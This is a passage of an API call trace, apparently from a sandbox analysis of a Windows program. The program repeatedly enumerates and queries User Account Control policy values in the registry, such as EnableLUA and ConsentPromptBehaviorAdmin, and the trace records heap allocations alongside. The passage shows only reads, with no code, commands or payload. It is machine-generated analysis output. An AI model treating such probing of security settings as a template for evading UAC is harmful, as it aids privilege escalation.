dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.519] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.520] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0259.520] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x8ec438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x8ec438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0259.520] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec438) returned 1 [0259.520] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8eb860 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb878 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec5a0 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb888 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec438 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb898 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec558 [0259.520] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb930 [0259.520] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec510 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x20) returned 0x8eb940 [0259.521] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb860) returned 1 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb860 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec4c8 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb968 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec480 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb978 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec3f0 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb988 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec3a8 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x30) returned 0x8eb998 [0259.521] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb940) returned 1 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb940 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec360 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb950 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec318 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb9d0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec2d0 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb9e0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.521] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.521] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.521] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb998) returned 1 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb998 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.522] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8eb9a8 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.522] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1e8 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.522] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1f8 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.522] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.522] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec5a0) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb878) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec438) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb888) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec558) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb898) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec510) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb930) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec4c8) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb860) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec480) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb968) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec3f0) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb978) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec3a8) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb988) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec360) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb940) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec318) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb950) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec2d0) returned 1 [0259.522] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb9d0) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec288) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb9e0) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1f8) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb998) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec1b0) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb9a8) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec168) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed1e8) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec120) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed1f8) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.523] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0259.523] RegQueryValueExA (in: hKey=0x38, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x18fb9c, lpData=0x8ec240, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x8ec240*=0x5, lpcbData=0x18fba4*=0x4) returned 0x0 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec240) returned 1 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ec0d8) returned 1 [0259.523] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x10) returned 0x8ed5e8 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1f8 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec0d8 [0259.523] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed1e8 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec240 [0259.523] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed208 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec120 [0259.523] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed218 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec168 [0259.523] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x20) returned 0x8eb860 [0259.523] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8ed5e8) returned 1 [0259.523] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed228 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1b0 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed238 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec1f8 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed248 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec288 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed258 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec2d0 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x30) returned 0x8eb930 [0259.524] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb860) returned 1 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed268 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec318 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed278 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec360 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed288 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec3a8 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed298 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec3f0 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec480 [0259.524] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x8eb930) returned 1 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2a8 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec4c8 [0259.524] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2b8 [0259.524] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x40) returned 0x8ec510 [0259.525] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.525] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x8, Size=0x8) returned 0x8ed2c8 [0259.525] RtlAllocateHeap 